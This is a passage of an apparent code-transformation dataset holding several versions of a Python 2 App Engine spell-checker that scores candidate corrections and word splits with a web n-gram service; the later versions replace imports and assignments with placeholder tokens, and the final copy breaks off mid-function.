"http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e" query = str(self.request.get('q')) wordlist = query.strip().split() dictionary = dict() try: cquery = combination(wordlist,0)[0] except: cquery = query try: wordlist = query.strip().split() squery = spacesplits(wordlist)[0] except: squery = query try: dictionary.update(getdictionary(wordlist)) except: dictionary.update({query:0}) try: if (query != cquery): dictionary.update(getdictionary(cquery.split())) except: dictionary.update({cquery:0}) try: if (query != squery): dictionary.update(getdictionary(squery.split())) except: dictionary.update({squery:0}) finallist = dictionary.keys() self.response.headers['Content-Type'] = 'text/plain' try: result = getjp('',finallist,'') final = list() for i in range(len(result)): final.append(10**((result[i][1]))) printresult = normalize(final) for i in range(len(printresult)): self.response.out.write(str(result[i][0])+"\t"+printresult[i]+"\n") except: self.response.out.write(query+"\t"+str(1)) class maintest(webapp.RequestHandler): def get(self): global MONTH,DATASET,NGRAM,PROB,REQUESTURL,GENURL self.response.headers['Content-Type'] = 'text/plain' self.response.out.write(REQUESTURL+"\n") self.response.out.write(GENURL) def getdictionary(wordelist): global MONTH,DATASET,NGRAM,PROB dictionaryy = dict() rpcs = [] for i in range(len(wordelist)): if i<3: t=0 else: t = i-3 form_fields = { "word": wordelist[i], "before": listtostr(wordelist[t:i]), "after": listtostr(wordelist[i+1:i+4]), "m": MONTH, "d": DATASET, "ng": NGRAM, "pp": PROB } formdata = urllib.urlencode(form_fields) rpc = urlfetch.create_rpc() url = "http://timetest.forbackend.appspot.com/wordspellcheck" #rpc.callback = create_callback(rpc) urlfetch.make_fetch_call(rpc, url, payload = formdata, method = urlfetch.POST) rpcs.append(rpc) resultts = list() for rpc in rpcs: result = rpc.get_result() resultts.append(result.content) #self.response.out.write(results) #self.response.out.write(wordee) dictionaryy[listtostr(wordelist)] = 0 for i in range(len(wordelist)): if resultts[i] == wordelist[i]: continue else: for j in range(i,len(wordelist)+1): pp = listtostr(wordelist[:i]+resultts[i:j]+wordelist[j:]) dictionaryy[pp] = 0 return dictionaryy class splittest(webapp.RequestHandler): def get(self): query = self.request.get('q') wordlist = query.split() splitted = combination(wordlist,0) self.response.out.write(splitted) def querylength(query): liste = query.split() counte = 0 for x in liste: if len(x)>1: counte += 1 if counte == 0: return 1 else: return counte def listtostr(wordlist): string = '' for word in wordlist: string += word+" " string = string.strip() return string #def create_callback(rpc): def normalize(problist): tot = 0 for x in problist: tot += x returnlist = list() for i in range(len(problist)): returnlist.append(str(round((problist[i]/tot),3))) return returnlist application = webapp.WSGIApplication([ ('/mainpage',maintest),#### the main speller is in main page web handler as i submitted maintest as the official submission i changed this ('/maintest',mainpage), ('/split',splittest)], debug = True) def main(): run_wsgi_app(application) if __name__ == '__main__': main()
[ "\n\nimport re\nimport cgi\nimport os\nimport urllib\nimport urllib2\n\nfrom time import sleep\n\nfrom google.appengine.api import taskqueue\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp.util import run_wsgi_app\nfrom google.appengine.ext import db\nfrom google.appengine.api import urlfetch\nfrom google.appengine.api import backends\nfrom google.appengine.api import logservice\nlogservice.AUTOFLUSH_EVERY_SECONDS = None\nlogservice.AUTOFLUSH_EVERY_BYTES = None\nlogservice.AUTOFLUSH_ENABLED = False\n\nMONTH = \"jun09\"\nNGRAM = \"3\"\nPROB = \"jp\"\nDATASET = \"bing-body\"\nREQUESTURL = \"http://web-ngram.research.microsoft.com/rest/lookup.svc/\"+DATASET+\"/\"+MONTH+\"/\"+NGRAM+\"/\"+PROB+\"?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e\"\nGENURL = \"http://web-ngram.research.microsoft.com/rest/lookup.svc/\"+DATASET+\"/\"+MONTH+\"/\"+NGRAM+\"/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e\"\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required = True)\n known = db.StringListProperty(indexed = False)\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\ndef combination(wordlist,t):#argument t is to notify that it is the main query while using cobination for first time\n tempc = wordlist\n combinationqueryset = [listtostr(tempc[:i] +\n [\"%s%s\"%(tempc[i],tempc[i+1])] +\n tempc[i+2:] ) for i in range(0, len(tempc)-1)]\n cquery = listtostr(tempc)\n combinationqueryset.append(cquery)\n results = getjp1('',combinationqueryset,'')\n dictionary = dict(results)\n x = results.index((cquery,dictionary[cquery]))\n if (t==0): t = dictionary[cquery]\n if (results[0][0] == cquery):\n return (cquery,results[0][1],t)\n else:\n dictionary = dict(results)\n x = results.index((cquery,dictionary[cquery]))\n y = list()\n for i in range(x):\n y.append(combinationqueryset.index(results[i][0]))\n y.sort(reverse = True)\n cache = wordlist\n for z in y:\n cache[z] += cache[z+1]\n del cache[z+1]\n return combination(cache,t)\n \ndef spacesplits(wordlist):\n temps = wordlist\n query = listtostr(temps)\n strings = []\n for i in range(len(temps)):\n for y in range(1,len(temps[i])):\n strings.append(listtostr(temps[:i]+list([temps[i][:y],temps[i][y:]])+temps[i+1:]))\n strings.append(query) \n results = getjp1('',strings,'')\n if (results[0][0] == query):\n return (query,results[0][1])\n else:\n return spacesplits(results[0][0].split())\n\n\n\ndef getjp(before,wordlist,after): \n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before+\" \"+str(x)+\" \"+after+\"\\n\"\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(\n urllib2.Request(REQUESTURL,str(string))).read().split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])/(querylength(wordli[i]))\n dictionary = dict(zip(wordli,jps))\n return sorted(dictionary.iteritems(), key = lambda entity:entity[1], reverse = True)\n\ndef getjp1(before,wordlist,after): \n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before+\" \"+str(x)+\" \"+after+\"\\n\"\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(\n urllib2.Request(REQUESTURL,str(string))).read().split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist,jps))\n return sorted(dictionary.iteritems(), key = lambda entity:entity[1], reverse = True)\n\nclass mainpage(webapp.RequestHandler):\n def get(self):\n global MONTH,DATASET,NGRAM,PROB,REQUESTURL,GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = \"http://web-ngram.research.microsoft.com/rest/lookup.svc/\"+DATASET+\"/\"+MONTH+\"/\"+NGRAM+\"/\"+PROB+\"?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e\" \n GENURL = \"http://web-ngram.research.microsoft.com/rest/lookup.svc/\"+DATASET+\"/\"+MONTH+\"/\"+NGRAM+\"/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e\"\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist,0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try: dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query:0})\n try:\n if (query != cquery): dictionary.update(getdictionary(cquery.split()))\n except: dictionary.update({cquery:0})\n try:\n if (query != squery): dictionary.update(getdictionary(squery.split()))\n except: dictionary.update({squery:0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('',finallist,'')\n final = list()\n for i in range(len(result)):\n final.append(10**((result[i][1])))\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0])+\"\\t\"+printresult[i]+\"\\n\")\n except:\n self.response.out.write(query+\"\\t\"+str(1))\n \n\n \nclass maintest(webapp.RequestHandler):\n def get(self):\n global MONTH,DATASET,NGRAM,PROB,REQUESTURL,GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL+\"\\n\")\n self.response.out.write(GENURL)\n \n\n\ndef getdictionary(wordelist):\n global MONTH,DATASET,NGRAM,PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i<3: t=0\n else: t = i-3\n form_fields = {\n \"word\": wordelist[i],\n \"before\": listtostr(wordelist[t:i]),\n \"after\": listtostr(wordelist[i+1:i+4]),\n \"m\": MONTH,\n \"d\": DATASET,\n \"ng\": NGRAM,\n \"pp\": PROB\n }\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = \"http://timetest.forbackend.appspot.com/wordspellcheck\"\n #rpc.callback = create_callback(rpc)\n urlfetch.make_fetch_call(rpc,\n url,\n payload = formdata,\n method = urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n #self.response.out.write(results)\n #self.response.out.write(wordee)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]: continue\n else:\n for j in range(i,len(wordelist)+1):\n pp = listtostr(wordelist[:i]+resultts[i:j]+wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n \nclass splittest(webapp.RequestHandler):\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist,0)\n self.response.out.write(splitted)\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x)>1: counte += 1\n if counte == 0: return 1\n else: return counte\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word+\" \"\n string = string.strip()\n return string\n#def create_callback(rpc):\n \ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round((problist[i]/tot),3)))\n return returnlist\n \napplication = webapp.WSGIApplication([\n ('/mainpage',maintest),#### the main speller is in main page web handler as i submitted maintest as the official submission i changed this\n ('/maintest',mainpage),\n ('/split',splittest)],\n debug = True)\n\ndef main():\n run_wsgi_app(application)\n\nif __name__ == '__main__':\n main()\n", "import re\nimport cgi\nimport os\nimport urllib\nimport urllib2\nfrom time import sleep\nfrom google.appengine.api import taskqueue\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp.util import run_wsgi_app\nfrom google.appengine.ext import db\nfrom google.appengine.api import urlfetch\nfrom google.appengine.api import backends\nfrom google.appengine.api import logservice\nlogservice.AUTOFLUSH_EVERY_SECONDS = None\nlogservice.AUTOFLUSH_EVERY_BYTES = None\nlogservice.AUTOFLUSH_ENABLED = False\nMONTH = 'jun09'\nNGRAM = '3'\nPROB = 'jp'\nDATASET = 'bing-body'\nREQUESTURL = ('http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\nGENURL = ('http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\ndef combination(wordlist, t):\n tempc = wordlist\n combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc\n [i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)]\n cquery = listtostr(tempc)\n combinationqueryset.append(cquery)\n results = getjp1('', combinationqueryset, '')\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n if t == 0:\n t = dictionary[cquery]\n if results[0][0] == cquery:\n return cquery, results[0][1], t\n else:\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n y = list()\n for i in range(x):\n y.append(combinationqueryset.index(results[i][0]))\n y.sort(reverse=True)\n cache = wordlist\n for z in y:\n cache[z] += cache[z + 1]\n del cache[z + 1]\n return combination(cache, t)\n\n\ndef spacesplits(wordlist):\n temps = wordlist\n query = listtostr(temps)\n strings = []\n for i in range(len(temps)):\n for y in range(1, len(temps[i])):\n strings.append(listtostr(temps[:i] + list([temps[i][:y], temps[\n i][y:]]) + temps[i + 1:]))\n strings.append(query)\n results = getjp1('', strings, '')\n if results[0][0] == query:\n return query, results[0][1]\n else:\n return spacesplits(results[0][0].split())\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x) > 1:\n counte += 1\n if counte == 0:\n return 1\n else:\n return counte\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\napplication = webapp.WSGIApplication([('/mainpage', maintest), ('/maintest',\n mainpage), ('/split', splittest)], debug=True)\n\n\ndef main():\n run_wsgi_app(application)\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\nlogservice.AUTOFLUSH_EVERY_SECONDS = None\nlogservice.AUTOFLUSH_EVERY_BYTES = None\nlogservice.AUTOFLUSH_ENABLED = False\nMONTH = 'jun09'\nNGRAM = '3'\nPROB = 'jp'\nDATASET = 'bing-body'\nREQUESTURL = ('http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\nGENURL = ('http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\ndef combination(wordlist, t):\n tempc = wordlist\n combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc\n [i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)]\n cquery = listtostr(tempc)\n combinationqueryset.append(cquery)\n results = getjp1('', combinationqueryset, '')\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n if t == 0:\n t = dictionary[cquery]\n if results[0][0] == cquery:\n return cquery, results[0][1], t\n else:\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n y = list()\n for i in range(x):\n y.append(combinationqueryset.index(results[i][0]))\n y.sort(reverse=True)\n cache = wordlist\n for z in y:\n cache[z] += cache[z + 1]\n del cache[z + 1]\n return combination(cache, t)\n\n\ndef spacesplits(wordlist):\n temps = wordlist\n query = listtostr(temps)\n strings = []\n for i in range(len(temps)):\n for y in range(1, len(temps[i])):\n strings.append(listtostr(temps[:i] + list([temps[i][:y], temps[\n i][y:]]) + temps[i + 1:]))\n strings.append(query)\n results = getjp1('', strings, '')\n if results[0][0] == query:\n return query, results[0][1]\n else:\n return spacesplits(results[0][0].split())\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x) > 1:\n counte += 1\n if counte == 0:\n return 1\n else:\n return counte\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\napplication = webapp.WSGIApplication([('/mainpage', maintest), ('/maintest',\n mainpage), ('/split', splittest)], debug=True)\n\n\ndef main():\n run_wsgi_app(application)\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\ndef combination(wordlist, t):\n tempc = wordlist\n combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc\n [i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)]\n cquery = listtostr(tempc)\n combinationqueryset.append(cquery)\n results = getjp1('', combinationqueryset, '')\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n if t == 0:\n t = dictionary[cquery]\n if results[0][0] == cquery:\n return cquery, results[0][1], t\n else:\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n y = list()\n for i in range(x):\n y.append(combinationqueryset.index(results[i][0]))\n y.sort(reverse=True)\n cache = wordlist\n for z in y:\n cache[z] += cache[z + 1]\n del cache[z + 1]\n return combination(cache, t)\n\n\ndef spacesplits(wordlist):\n temps = wordlist\n query = listtostr(temps)\n strings = []\n for i in range(len(temps)):\n for y in range(1, len(temps[i])):\n strings.append(listtostr(temps[:i] + list([temps[i][:y], temps[\n i][y:]]) + temps[i + 1:]))\n strings.append(query)\n results = getjp1('', strings, '')\n if results[0][0] == query:\n return query, results[0][1]\n else:\n return spacesplits(results[0][0].split())\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x) > 1:\n counte += 1\n if 